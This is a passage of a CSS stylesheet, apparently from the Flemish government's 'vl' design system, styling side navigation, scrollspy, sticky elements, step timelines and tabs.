        .vl-side-navigation__group--has-title {
          padding-top: 1.5rem
        }
      }

      .vl-side-navigation__title {
        color: #687483;
        font-size: 15px;
        font-weight: 500;
        letter-spacing: 1px;
        margin-bottom: 20px;
        text-transform: uppercase
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation__item {
          font-size: 1.4rem;
          padding: 0
        }
      }

      .vl-side-navigation__group--spaced .vl-side-navigation__item:not(:last-child) {
        margin-bottom: 1.5rem
      }

      .vl-side-navigation__group--has-title .vl-side-navigation__item+.vl-side-navigation__item {
        margin-top: .5rem
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation__item>a {
          display: block;
          margin: .7rem 0 1.4rem
        }
      }

      .vl-side-navigation__item a {
        font-weight: 500
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation__item:last-child>a {
          margin-bottom: .7rem
        }
      }

      .vl-side-navigation__item>ul {
        display: none;
        padding: 0 0 .15rem 2rem
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation__item>ul {
          padding: 0 1rem .15rem 1.3rem
        }
      }

      .vl-side-navigation__item>ul.vl-side-navigation__subgroup--active {
        display: block
      }

      .vl-side-navigation__toggle {
        box-shadow: none;
        display: block;
        font-weight: 500;
        margin: 13px 0;
        position: relative
      }

      .vl-side-navigation__toggle[aria-expanded=true] .vl-vi:before {
        transform: rotate(90deg)
      }

      .vl-side-navigation__toggle[aria-expanded=true]+ul {
        animation: side-navigation-transition .3s;
        display: block
      }

      .vl-side-navigation__toggle[aria-expanded=true]+ul .vl-side-navigation__toggle:first-child {
        margin-top: 0
      }

      .vl-side-navigation__toggle .vl-vi {
        font-size: 1.6rem;
        position: absolute;
        right: .4rem;
        top: 50%;
        transform: translateY(-50%)
      }

      .vl-side-navigation__toggle .vl-vi:before {
        transition: transform .1s ease-in-out
      }

      @keyframes side-navigation-transition {
        0% {
          display: none;
          transform: translateX(-10px)
        }

        1% {
          display: block;
          transform: translateX(-10px)
        }

        to {
          display: block;
          opacity: 1;
          transform: translateX(0)
        }
      }

      .js-vl-scrollspy__content {
        border-radius: 5rem
      }

      @media screen and (max-width:767px) {
        .js-vl-scrollspy__content {
          padding: 4rem 0 0;
          position: relative
        }
      }

      .js-vl-scrollspy__content .js-vl-scrollspy__toggle {
        cursor: pointer;
        display: none
      }

      .js-vl-scrollspy__content .js-vl-scrollspy__toggle:after,
      .js-vl-scrollspy__content .js-vl-scrollspy__toggle:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .js-vl-scrollspy__content .js-vl-scrollspy__toggle:before {
        color: #fff;
        content: "";
        font-size: 1.1rem;
        position: absolute;
        right: 1rem;
        top: 50%;
        transform: translateY(-50%)
      }

      @media screen and (max-width:767px) {
        .js-vl-scrollspy__content .js-vl-scrollspy__toggle {
          display: block;
          left: 0;
          position: absolute;
          top: 0
        }
      }

      .js-vl-scrollspy__content .js-vl-scrollspy__toggle.js-vl-scrollspy__toggle--fixed {
        border-radius: 5rem;
        bottom: 4rem;
        font-size: 0;
        height: 5rem;
        left: calc(100% - 6rem);
        position: fixed;
        right: auto;
        top: auto;
        z-index: 3
      }

      .js-vl-scrollspy__content .js-vl-scrollspy__toggle.js-vl-scrollspy__toggle--fixed:before {
        left: 2rem;
        line-height: 2.7rem;
        right: auto
      }

      .js-vl-scrollspy-placeholder {
        bottom: 1.5rem;
        display: none;
        left: 1.5rem;
        outline: none;
        position: fixed;
        top: auto;
        width: calc(100% - 3rem);
        z-index: 4
      }

      @media screen and (max-width:767px) {
        .js-vl-scrollspy-placeholder {
          height: auto
        }
      }

      .js-vl-scrollspy-placeholder.js-vl-scrollspy-mobile--active {
        display: block
      }

      .js-vl-scrollspy__close {
        background-color: #05c;
        border: 0;
        border-radius: 3rem;
        color: #fff;
        cursor: pointer;
        font-size: 0;
        height: 3rem;
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        top: -1.8rem;
        width: 3rem;
        z-index: 5
      }

      .js-vl-scrollspy__close:after,
      .js-vl-scrollspy__close:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .js-vl-scrollspy__close:before {
        content: "";
        font-size: 1.2rem;
        line-height: 2.6rem
      }

      .js-vl-scrollspy__close:focus {
        outline: thin dotted
      }

      .js-vl-sticky {
        position: relative;
        transform: translateZ(0);
        will-change: position, transform;
        z-index: 2
      }

      .js-vl-sticky--viewport-bottom,
      .js-vl-sticky--viewport-top {
        position: fixed
      }

      .js-vl-sticky--container-bottom,
      .js-vl-sticky--viewport-unbottom {
        position: relative
      }

      .js-vl-sticky--placeholder {
        position: relative;
        width: 100%;
        will-change: min-height
      }

      .vl-steps {
        margin-bottom: 3rem
      }

      .vl-steps--has-line.vl-steps--timeline-simple .vl-step__container:before,
      .vl-steps--timeline-simple.vl-steps--timeline-simple .vl-step__container:before,
      .vl-steps--timeline.vl-steps--timeline-simple .vl-step__container:before {
        bottom: 100%;
        top: -.5rem
      }

      .vl-steps--has-line.vl-steps--timeline-simple .vl-step__container:after,
      .vl-steps--timeline-simple.vl-steps--timeline-simple .vl-step__container:after,
      .vl-steps--timeline.vl-steps--timeline-simple .vl-step__container:after {
        top: 3.2rem
      }

      .vl-steps--has-line.vl-steps--sub .vl-step__container:before,
      .vl-steps--timeline-simple.vl-steps--sub .vl-step__container:before,
      .vl-steps--timeline.vl-steps--sub .vl-step__container:before {
        bottom: calc(100% - .3rem);
        top: -5rem
      }

      @media screen and (max-width:767px) {

        .vl-steps--has-line.vl-steps--sub .vl-step__container:before,
        .vl-steps--timeline-simple.vl-steps--sub .vl-step__container:before,
        .vl-steps--timeline.vl-steps--sub .vl-step__container:before {
          top: -2.8rem
        }
      }

      .vl-steps--has-line.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon) .vl-step__container:after,
      .vl-steps--has-line.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--error .vl-step__container:after,
      .vl-steps--has-line.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--success .vl-step__container:after,
      .vl-steps--has-line.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--warning .vl-step__container:after,
      .vl-steps--has-line.vl-steps--timeline .vl-steps.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon) .vl-step__container:after,
      .vl-steps--timeline-simple.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon) .vl-step__container:after,
      .vl-steps--timeline-simple.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--error .vl-step__container:after,
      .vl-steps--timeline-simple.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--success .vl-step__container:after,
      .vl-steps--timeline-simple.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--warning .vl-step__container:after,
      .vl-steps--timeline-simple.vl-steps--timeline .vl-steps.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon) .vl-step__container:after,
      .vl-steps--timeline.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon) .vl-step__container:after,
      .vl-steps--timeline.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--error .vl-step__container:after,
      .vl-steps--timeline.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--success .vl-step__container:after,
      .vl-steps--timeline.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon).vl-step--warning .vl-step__container:after,
      .vl-steps--timeline.vl-steps--timeline .vl-steps.vl-steps--sub .vl-step:not(.vl-step--sub-no-icon) .vl-step__container:after {
        top: 3.9rem
      }

      .vl-steps--has-line .vl-step+.vl-step .vl-step__container:before,
      .vl-steps--timeline .vl-step+.vl-step .vl-step__container:before,
      .vl-steps--timeline-simple .vl-step+.vl-step .vl-step__container:before {
        top: -5rem
      }

      @media screen and (max-width:767px) {

        .vl-steps--has-line .vl-step+.vl-step .vl-step__container:before,
        .vl-steps--timeline .vl-step+.vl-step .vl-step__container:before,
        .vl-steps--timeline-simple .vl-step+.vl-step .vl-step__container:before {
          top: -2rem
        }
      }

      .vl-steps--has-line .vl-step__container,
      .vl-steps--timeline .vl-step__container,
      .vl-steps--timeline-simple .vl-step__container {
        position: relative
      }

      .vl-steps--has-line .vl-step__container:before,
      .vl-steps--timeline .vl-step__container:before,
      .vl-steps--timeline-simple .vl-step__container:before {
        background-color: #cbd2da;
        bottom: calc(100% + .5rem);
        content: "";
        display: block;
        left: -5rem;
        position: absolute;
        top: 0;
        width: .3rem
      }

      @media screen and (max-width:767px) {

        .vl-steps--has-line .vl-step__container:before,
        .vl-steps--timeline .vl-step__container:before,
        .vl-steps--timeline-simple .vl-step__container:before {
          left: -3.35rem
        }
      }

      .vl-steps--has-line .vl-step__container:after,
      .vl-steps--timeline .vl-step__container:after,
      .vl-steps--timeline-simple .vl-step__container:after {
        background-color: #cbd2da;
        bottom: 0;
        content: "";
        display: block;
        left: -5rem;
        position: absolute;
        top: 4.7rem;
        width: .3rem
      }

      @media screen and (max-width:767px) {

        .vl-steps--has-line .vl-step__container:after,
        .vl-steps--timeline .vl-step__container:after,
        .vl-steps--timeline-simple .vl-step__container:after {
          left: -3.35rem;
          top: 4rem
        }
      }

      .vl-steps--has-line .vl-step--sub-no-icon .vl-step__container:before,
      .vl-steps--timeline .vl-step--sub-no-icon .vl-step__container:before,
      .vl-steps--timeline-simple .vl-step--sub-no-icon .vl-step__container:before {
        bottom: calc(100% - .3rem)
      }

      .vl-steps--has-line .vl-step--sub-no-icon .vl-step__container:after,
      .vl-steps--timeline .vl-step--sub-no-icon .vl-step__container:after,
      .vl-steps--timeline-simple .vl-step--sub-no-icon .vl-step__container:after {
        top: 2.7rem
      }

      .vl-steps--has-line .vl-step--sub-no-icon.vl-step--error .vl-step__container:before,
      .vl-steps--has-line .vl-step--sub-no-icon.vl-step--success .vl-step__container:before,
      .vl-steps--has-line .vl-step--sub-no-icon.vl-step--warning .vl-step__container:before,
      .vl-steps--timeline .vl-step--sub-no-icon.vl-step--error .vl-step__container:before,
      .vl-steps--timeline .vl-step--sub-no-icon.vl-step--success .vl-step__container:before,
      .vl-steps--timeline .vl-step--sub-no-icon.vl-step--warning .vl-step__container:before,
      .vl-steps--timeline-simple .vl-step--sub-no-icon.vl-step--error .vl-step__container:before,
      .vl-steps--timeline-simple .vl-step--sub-no-icon.vl-step--success .vl-step__container:before,
      .vl-steps--timeline-simple .vl-step--sub-no-icon.vl-step--warning .vl-step__container:before {
        bottom: 100%
      }

      .vl-steps--has-line .vl-step--sub-no-icon.vl-step--error .vl-step__container:after,
      .vl-steps--has-line .vl-step--sub-no-icon.vl-step--success .vl-step__container:after,
      .vl-steps--has-line .vl-step--sub-no-icon.vl-step--warning .vl-step__container:after,
      .vl-steps--timeline .vl-step--sub-no-icon.vl-step--error .vl-step__container:after,
      .vl-steps--timeline .vl-step--sub-no-icon.vl-step--success .vl-step__container:after,
      .vl-steps--timeline .vl-step--sub-no-icon.vl-step--warning .vl-step__container:after,
      .vl-steps--timeline-simple .vl-step--sub-no-icon.vl-step--error .vl-step__container:after,
      .vl-steps--timeline-simple .vl-step--sub-no-icon.vl-step--success .vl-step__container:after,
      .vl-steps--timeline-simple .vl-step--sub-no-icon.vl-step--warning .vl-step__container:after {
        top: 2.4rem
      }

      .vl-steps--last-step-no-line .vl-step:last-child:before {
        display: none !important
      }

      @media screen and (max-width:767px) {
        .vl-steps {
          margin-bottom: 1.5rem
        }
      }

      .vl-step {
        margin-left: 7rem;
        position: relative
      }

      .vl-step+.vl-step {
        margin-top: 5rem
      }

      @media screen and (max-width:767px) {
        .vl-step {
          margin-left: 5rem
        }

        .vl-step+.vl-step {
          margin-top: 2rem
        }
      }

      .vl-step--has-link .vl-step__link {
        color: #333332;
        display: block;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-step--has-link .vl-step__link .vl-step__title {
        color: #05c;
        color: var(--vl-theme-action-color, #05c)
      }

      .vl-step--accordion .vl-step__header[aria-expanded=false] {
        padding-bottom: 1rem
      }

      .vl-step--accordion>.vl-step__container>.vl-step__content-wrapper {
        max-height: 0;
        overflow: hidden;
        visibility: hidden
      }

      .vl-step--accordion>.vl-step__container>.vl-step__wrapper>.vl-step__header {
        flex-wrap: nowrap
      }

      .vl-step--accordion>.vl-step__container>.vl-step__wrapper>.vl-step__header:hover .vl-step__title {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-step--accordion .vl-step__substeps,
      .vl-step--accordion>.vl-step__container>.vl-step__wrapper>.vl-step__content-wrapper {
        max-height: 0;
        overflow: hidden;
        visibility: hidden
      }

      .vl-step--accordion .vl-step__substeps {
        padding: 0
      }

      .vl-step--accordion .vl-step__substeps .vl-step__title {
        color: #333332;
        color: var(--vl-theme-action-color, #333332)
      }

      .vl-step--accordion.js-vl-accordion--open .vl-step__substeps {
        padding: 5rem 0 0
      }

      @media screen and (max-width:767px) {
        .vl-step--accordion.js-vl-accordion--open .vl-step__substeps {
          padding: 2rem 0 0
        }
      }

      .vl-step--accordion.js-vl-accordion--open .vl-step__substeps,
      .vl-step--accordion.js-vl-accordion--open>.vl-step__container>.vl-step__content-wrapper,
      .vl-step--accordion.js-vl-accordion--open>.vl-step__container>.vl-step__wrapper>.vl-step__content-wrapper,
      .vl-step--accordion.js-vl-accordion--open>.vl-step__wrapper>.vl-step__content-wrapper {
        max-height: 100%;
        overflow: visible;
        visibility: visible
      }

      .vl-step--accordion.js-vl-accordion--open .vl-step__substeps--no-padding {
        padding: 0
      }

      .vl-step--accordion .vl-step__title {
        color: #05c;
        color: var(--vl-theme-action-color, #05c)
      }

      .vl-step__content {
        min-height: 4.7rem
      }

      @media screen and (max-width:767px) {
        .vl-step__content {
          font-size: 1.6rem
        }
      }

      .vl-step__content p+p {
        margin-top: 1rem
      }

      .vl-step__header .vl-step__content,
      .vl-step__header~.vl-step__content-wrapper .vl-step__content {
        margin-top: .5rem
      }

      .vl-step__title {
        margin-bottom: 0
      }

      @media screen and (max-width:767px) {
        .vl-step__title {
          margin-bottom: 0
        }
      }

      .vl-step__title__annotation {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.4rem;
        font-weight: 400
      }

      .vl-step__title__annotation:before {
        content: "-";
        margin: 0 .5rem
      }

      .vl-step--disabled .vl-step__title {
        color: #687483
      }

      .vl-step__subtitle {
        color: #687483;
        font-size: inherit;
        font-size: 1.8rem;
        font-weight: 400
      }

      .vl-step__subtitle--small {
        font-size: .65em
      }

      @media screen and (max-width:767px) {
        .vl-step__subtitle {
          font-size: 1.6rem
        }
      }

      .vl-step__alert {
        margin-top: 1rem
      }

      .vl-step__accordion-toggle {
        color: #05c;
        color: var(--vl-theme-action-color, #05c);
        display: inline-flex;
        font-size: 1.8rem;
        margin-left: .3rem;
        margin-top: .6rem
      }

      .vl-step__accordion-toggle:after,
      .vl-step__accordion-toggle:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-step__accordion-toggle:before {
        content: "";
        transition: transform .2s
      }

      .js-vl-accordion--open>.vl-step__container>.vl-step__wrapper>.vl-step__header .vl-step__accordion-toggle:before,
      .js-vl-accordion--open>.vl-step__wrapper>.vl-step__header .vl-step__accordion-toggle:before {
        transform: rotate(180deg)
      }

      .vl-step--error>.vl-step__container>.vl-step__wrapper,
      .vl-step--success>.vl-step__container>.vl-step__wrapper,
      .vl-step--warning>.vl-step__container>.vl-step__wrapper {
        margin-left: -1.5rem;
        padding: 1.5rem
      }

      @media screen and (max-width:767px) {

        .vl-step--error>.vl-step__container>.vl-step__wrapper,
        .vl-step--success>.vl-step__container>.vl-step__wrapper,
        .vl-step--warning>.vl-step__container>.vl-step__wrapper {
          margin-left: -1rem;
          padding: 1rem
        }
      }

      .vl-step--error .vl-step__header,
      .vl-step--success .vl-step__header,
      .vl-step--warning .vl-step__header {
        align-items: flex-start
      }

      .vl-step--error .vl-step__header__titles,
      .vl-step--success .vl-step__header__titles,
      .vl-step--warning .vl-step__header__titles {
        margin-top: 0
      }

      .vl-step--success .vl-step__icon {
        background-color: #007a37;
        color: #fff
      }

      .vl-step--success>.vl-step__container>.vl-step__wrapper {
        background-color: #e6f5ed;
        border: 1px solid #99d8b5
      }

      .vl-step--warning .vl-step__icon {
        background-color: #ffa10a;
        color: #333332
      }

      .vl-step--warning>.vl-step__container>.vl-step__wrapper {
        background-color: #fff6e7;
        border: 1px solid #ffd99d
      }

      .vl-step--error .vl-step__icon {
        background-color: #d2373c;
        color: #fff
      }

      .vl-step--error>.vl-step__container>.vl-step__wrapper {
        background-color: #fbebec;
        border: 1px solid #edafb1
      }

      .vl-step__substeps {
        margin-bottom: 0;
        margin-left: -7rem;
        padding: 4rem 0 0;
        position: relative;
        z-index: 1
      }

      .vl-step__substeps .vl-step__title {
        margin-bottom: 0
      }

      @media screen and (max-width:767px) {
        .vl-step__substeps .vl-step__title {
          margin-bottom: 0
        }
      }

      .vl-step__substeps .vl-step--success .vl-step__icon {
        background-color: #009e47
      }

      .vl-step__substeps .vl-step--warning .vl-step__icon {
        background-color: #ffa10a
      }

      .vl-step__substeps .vl-step--error .vl-step__icon {
        background-color: #d2373c
      }

      @media screen and (max-width:767px) {
        .vl-step__substeps {
          margin-left: -5rem;
          padding: 2rem 0 0
        }
      }

      .vl-steps__footer,
      .vl-steps__header {
        display: flex;
        justify-content: flex-end;
        margin-bottom: 2.8rem
      }

      .vl-steps__footer {
        margin-bottom: 0;
        margin-top: 2.8rem
      }

      .vl-steps--timeline>.vl-steps__list>.vl-step:before {
        bottom: -4.5rem;
        top: 5.8rem
      }

      .vl-steps--timeline>.vl-steps__list>.vl-step:has(+.vl-duration-step):before {
        bottom: -5.15rem
      }

      .vl-steps--timeline>.vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon {
        align-items: center;
        border-radius: 0;
        display: flex;
        flex-direction: column;
        font-size: 1.8rem;
        justify-content: center;
        line-height: 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-steps--timeline>.vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon {
          font-size: 1.5rem;
          padding: .5rem 0
        }
      }

      .vl-steps--timeline.vl-steps--sub .vl-step:before {
        display: none
      }

      .vl-steps--timeline.vl-steps--sub .vl-step>.vl-step__container>.vl-step__icon {
        font-size: 1.2rem;
        line-height: 1.2rem
      }

      .vl-steps--timeline-simple>.vl-steps__list>.vl-step {
        padding-top: 0
      }

      .vl-steps--timeline-simple>.vl-steps__list>.vl-step:last-child:before {
        bottom: 0
      }

      .vl-steps--timeline-simple>.vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon {
        background-color: #687483;
        height: 2.2rem;
        transform: translate(-6rem, .5rem);
        width: 2.2rem
      }

      .vl-steps--timeline-simple>.vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon>.vl-step__icon__sub,
      .vl-steps--timeline-simple>.vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon>.vl-step__icon__text {
        display: none
      }

      @media screen and (max-width:767px) {
        .vl-steps--timeline-simple>.vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon {
          transform: translate(-4.3rem, .5rem)
        }
      }

      .vl-steps--timeline-simple.vl-steps--sub .vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon {
        height: 1.4rem;
        left: 0;
        margin: 0;
        transform: translate(-5.6rem, .8rem);
        width: 1.4rem
      }

      @media screen and (max-width:767px) {
        .vl-steps--timeline-simple.vl-steps--sub .vl-steps__list>.vl-step>.vl-step__container>.vl-step__icon {
          transform: translate(-3.9rem, .8rem)
        }
      }

      .vl-duration-step {
        color: #687483;
        font-size: 1.6rem;
        padding: 5rem 0 5rem 7rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-duration-step {
          font-size: 1.4rem;
          padding: 2rem 0 2rem 5rem
        }
      }

      .vl-duration-step+.vl-step .vl-step__container:before {
        background: repeating-linear-gradient(180deg, #cbd2da, #cbd2da 10px, transparent 0, transparent 20px);
        bottom: calc(100% + .5rem);
        top: -5rem
      }

      .vl-duration-step:after,
      .vl-duration-step:before {
        content: "";
        display: block;
        left: 2.1rem;
        position: absolute
      }

      @media screen and (max-width:767px) {

        .vl-duration-step:after,
        .vl-duration-step:before {
          left: 1.75rem
        }
      }

      .vl-duration-step:before {
        background: #cbd2da;
        bottom: 7.45rem;
        margin-left: -.1rem;
        top: 0;
        width: .3rem;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .vl-duration-step:before {
          top: .4rem
        }
      }

      .vl-duration-step:after {
        background-color: #000;
        border-radius: 50%;
        height: 1.3rem;
        top: 50%;
        transform: translate(-50%, -50%);
        width: 1.3rem;
        z-index: 2
      }

      .vl-duration-step--chapter {
        color: #333332;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.5rem;
        font-weight: 500;
        text-transform: uppercase
      }

      .vl-duration-step--chapter:before {
        background: #cbd2da;
        bottom: 6rem;
        top: 0
      }

      .vl-duration-step--chapter:after {
        background: repeating-linear-gradient(180deg, #cbd2da, #cbd2da 10px, transparent 0, transparent 20px);
        border-radius: 0;
        bottom: .5rem;
        height: auto;
        margin-left: -.1rem;
        top: 5rem;
        transform: none;
        width: .3rem
      }

      .vl-step__header {
        align-items: center;
        border: 0;
        display: flex;
        flex-wrap: wrap;
        font-size: 1.8rem;
        justify-content: space-between;
        padding: 0 0 1rem;
        position: relative;
        text-align: left;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 100%;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .vl-step__header {
          font-size: 1.6rem
        }

        .vl-step__header__action {
          display: inline-block;
          margin-top: 1rem
        }
      }

      .vl-step__header__info {
        color: #333332
      }

      .vl-step__header__info i {
        margin-left: 1rem;
        -webkit-text-decoration: none !important;
        text-decoration: none !important
      }

      .vl-step--disabled .vl-step__header__info {
        opacity: .5
      }

      .vl-step__header__titles {
        margin-top: .8rem
      }

      @media screen and (max-width:767px) {
        .vl-step__header__titles {
          margin-top: .4rem
        }

        .vl-step__header__titles .vl-step--error,
        .vl-step__header__titles .vl-step--success,
        .vl-step__header__titles .vl-step--warning {
          margin-top: 0
        }

        .vl-step__substeps .vl-step__header__titles {
          margin-top: .8rem
        }

        .vl-step__substeps .vl-step--error .vl-step__header__titles,
        .vl-step__substeps .vl-step--success .vl-step__header__titles,
        .vl-step__substeps .vl-step--warning .vl-step__header__titles {
          margin-top: 0
        }
      }

      .vl-step--sub-no-icon .vl-step__header__titles {
        margin-top: 0
      }

      @media screen and (max-width:767px) {
        .vl-step--sub-no-icon .vl-step__header__titles {
          margin-top: .2rem
        }
      }

      .vl-steps--timeline-simple .vl-step__header__titles {
        margin-top: .1rem
      }

      @media screen and (max-width:767px) {
        .vl-steps--timeline-simple .vl-step__header__titles {
          margin-top: .4rem
        }
      }

      .vl-step__icon {
        background-color: #ffed00;
        background-color: var(--vl-theme-accent-color, var(--vl-theme-primary-color));
        border-radius: 50%;
        color: #333332;
        color: var(--vl-theme-accent-fg-color, #333332);
        display: block;
        font-size: 2rem;
        font-weight: 500;
        height: 4.2rem;
        left: 0;
        line-height: 4.2rem;
        position: absolute;
        text-align: center;
        transform: translateX(-7rem);
        width: 4.2rem
      }

      .vl-step__icon__sub {
        display: block;
        font-size: 1.4rem;
        font-weight: 400
      }

      .vl-step__icon .vl-badge {
        background: transparent;
        border-radius: inherit;
        height: inherit;
        min-height: 2.8rem;
        width: inherit
      }

      .vl-step__icon .vl-badge__icon {
        color: inherit;
        font-size: 2rem
      }

      .vl-step--disabled .vl-step__icon {
        background-color: #cbd2da;
        color: #fff
      }

      .vl-step--highlighted .vl-step__icon {
        background-color: #05c;
        background-color: var(--vl-theme-action-color, #05c);
        color: #fff
      }

      @media screen and (max-width:767px) {
        .vl-step__icon {
          font-size: 1.8rem;
          height: 3.5rem;
          left: 0;
          line-height: 3.5rem;
          transform: translateX(-5rem);
          width: 3.5rem
        }

        .vl-step__icon .vl-badge__icon {
          font-size: 1.6rem
        }
      }

      .vl-steps--sub .vl-step__icon {
        font-size: 1.4rem;
        height: 2.6rem;
        left: 0;
        line-height: 2.6rem;
        transform: translate(-6.2rem, .8rem);
        width: 2.6rem
      }

      .vl-step--error .vl-steps--sub .vl-step__icon,
      .vl-step--success .vl-steps--sub .vl-step__icon,
      .vl-step--warning .vl-steps--sub .vl-step__icon {
        transform: translateX(-6.2rem)
      }

      @media screen and (max-width:767px) {
        .vl-steps--sub .vl-step__icon {
          transform: translate(-4.4rem, .8rem)
        }
      }

      .vl-step--sub-no-icon .vl-step__icon {
        background-color: #8695a8;
        height: 1.4rem;
        transform: translate(-5.55rem, .8rem);
        width: 1.4rem
      }

      @media screen and (max-width:767px) {
        .vl-step--sub-no-icon .vl-step__icon {
          transform: translate(-3.85rem, .8rem)
        }
      }

      .vl-step--error .vl-steps--sub .vl-step__icon,
      .vl-step--success .vl-steps--sub .vl-step__icon,
      .vl-step--warning .vl-steps--sub .vl-step__icon {
        transform: translate(-5.55rem, .8rem)
      }

      @media screen and (max-width:767px) {

        .vl-step--error .vl-steps--sub .vl-step__icon,
        .vl-step--success .vl-steps--sub .vl-step__icon,
        .vl-step--warning .vl-steps--sub .vl-step__icon {
          transform: translate(-3.85rem, .8rem)
        }
      }

      .vl-step--sub-no-icon.vl-step--error .vl-step__icon,
      .vl-step--sub-no-icon.vl-step--success .vl-step__icon,
      .vl-step--sub-no-icon.vl-step--warning .vl-step__icon {
        transform: translate(-5.55rem, .5rem)
      }

      @media screen and (max-width:767px) {

        .vl-step--sub-no-icon.vl-step--error .vl-step__icon,
        .vl-step--sub-no-icon.vl-step--success .vl-step__icon,
        .vl-step--sub-no-icon.vl-step--warning .vl-step__icon {
          transform: translate(-3.85rem, .5rem)
        }
      }

      .vl-steps--sub.vl-step--error .vl-step__icon,
      .vl-steps--sub.vl-step--success .vl-step__icon,
      .vl-steps--sub.vl-step--warning .vl-step__icon {
        transform: translate(-6.2rem, 1.6rem)
      }

      @media screen and (max-width:767px) {

        .vl-steps--sub.vl-step--error .vl-step__icon,
        .vl-steps--sub.vl-step--success .vl-step__icon,
        .vl-steps--sub.vl-step--warning .vl-step__icon {
          transform: translate(-4.4rem, .8rem)
        }
      }

      .vl-steps--sub.vl-steps--timeline .vl-step__icon {
        font-size: 1.2rem;
        height: auto;
        line-height: 1.2rem
      }

      .vl-tabs {
        border-bottom: 1px solid #cbd2da;
        font-size: 0;
        margin-bottom: 3rem;
        text-align: left
      }

      .vl-tabs--overflow {
        background-repeat: no-repeat;
        overflow-x: auto;
        overflow-y: hidden;
        overflow: -moz-scrollbars-none;
        position: relative;
        white-space: nowrap;
        -ms-overflow-style: none;
        scrollbar-width: none
      }

      .vl-tabs--overflow::-webkit-scrollbar {
        height: 0 !important;
        width: 0 !important
      }

      .vl-tabs--visible-overflow {
        overflow: visible
      }

      .vl-tabs__wrapper {
        position: relative
      }

      .vl-tabs__wrapper--fit-to-content {
        display: inline-flex
      }

      .vl-tabs__wrapper--overflow:after,
      .vl-tabs__wrapper--overflow:before {
        content: "";
        display: block;
        height: calc(100% + 1px);
        opacity: 0;
        pointer-events: none;
        position: absolute;
        top: 0;
        transition: opacity .25s;
        width: 35px;
        z-index: 1
      }

      .vl-tabs__wrapper--overflow:before {
        background-image: linear-gradient(270deg, hsla(0, 0%, 100%, 0) 0, #fff 70%, #fff);
        left: -1px;
        right: auto
      }

      .vl-tabs__wrapper--overflow:after {
        background-image: linear-gradient(90deg, hsla(0, 0%, 100%, 0) 0, #fff 70%, #fff);
        left: auto;
        right: -1px
      }

      .vl-tabs__wrapper--overflow-left:before,
      .vl-tabs__wrapper--overflow-right:after {
        opacity: 1
      }

      .no-js .vl-tabs {
        display: none
      }

      @media screen and (max-width:767px) {
        .vl-tabs:not(.vl-tabs--overflow) {
          border-bottom: 1px solid #f7f9fc;
          border-top: 1px solid #f7f9fc;
          display: none;
          left: -1.5rem;
          margin: 0 0 1rem;
          padding: .4rem 0;
          position: relative;
          width: calc(100% + 3rem)
        }

        .vl-tabs:not(.vl-tabs--overflow)[data-vl-show=true] {
          display: block
        }
      }

      .vl-tabs--alt {
        position: relative
      }

      .vl-tabs--alt:before {
        background: #cbd2da;
        bottom: -1px;
        content: "";
        height: 1px;
        left: -200%;
        position: absolute;
        width: 500%
      }

      .vl-tab {
        border-bottom: 3px solid transparent;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        font-weight: 500;
        margin: 0 1.3rem;
        padding: 1rem 0;
        position: relative;
        text-align: left;
        -webkit-text-decoration: none;
        text-decoration: none;
        top: 1px;
        transition: all .2s;
        vertical-align: top
      }

      .vl-tab:first-child .vl-tab__link {
        margin-left: 0
      }

      .vl-tab:last-child .vl-tab__link {
        margin-right: 0
      }

      .vl-tab:focus,
      .vl-tab:hover {
        background-color: transparent;
        border-bottom-color: #333332
      }

      .vl-tab--active {
        background-color: transparent;
        border-bottom: 3px solid #333332;
